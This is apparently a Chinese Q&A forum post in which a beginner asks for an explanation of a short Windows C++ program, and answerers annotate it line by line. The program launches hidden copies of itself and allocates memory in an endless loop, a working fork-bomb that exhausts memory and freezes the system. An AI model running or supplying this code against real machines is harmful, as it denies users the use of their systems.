帮忙具体解释下这个能让系统崩溃的代码

来源:百度知道 编辑:UC知道 时间:2024/06/19 01:38:54
/*code by fozzy
e-mail:h4ck@foxmail.com
*/
#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <windows.h>
using namespace std;
int main(int argc,char * argv[])
{
char * szPath=NULL;
szPath=argv[0];
cout << szPath << endl;
WinExec(szPath,SW_HIDE);
void * pp;
while(true)
{
pp=malloc(99999);
cout << pp << endl;
}
return 0;
}

这个程序可以用几秒钟将内存占满,导致系统无响应。
但是对于初学C的我,确实有些看不懂,希望高手给予点拨,注解。
多谢

int main(int argc,char * argv[])
{
char * szPath=NULL;
szPath=argv[0]; // 取得当前程序的名称
cout << szPath << endl;
WinExec(szPath,SW_HIDE); // 调用自己
void * pp;
while(true) // 无限循环
{
pp=malloc(99999); // 申请 99999 字节的内存
cout << pp << endl;
}
return 0;
}

一方面,每个进程不停的申请 99999 字节的内存
而前面那个调用自己则就和细菌繁殖一样使这个程序一变二,二变四,四变八。。。不耗光才怪

main函数参数列表中ARGC和ARGV分别向主函数传递命令行参数个数和参数字符。
WINEXEC用于执行指定程序。
这个参数的用法你最好阅读一下附带的说明(一定会有的),就能明白了

耗尽内存主要在循环体:
malloc是要求系统分配一定数量的内存,返回值为该内存块首地址之指针。malloc(99999)即要求系统分配长度为99999的内存区域。
while(true)是一个死循环,我相信你应该明白。
程序原理就是不断执行pp=malloc(99999);这段代码,不断要求系统分配内存并不用FREE函数进行释放,从而耗尽系统内存。

另外,不知道这个作者FOZZY是谁。这种雕虫小技还好意思留邮箱,真的是贻笑大方了。

#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <windows.h>
using namespace std;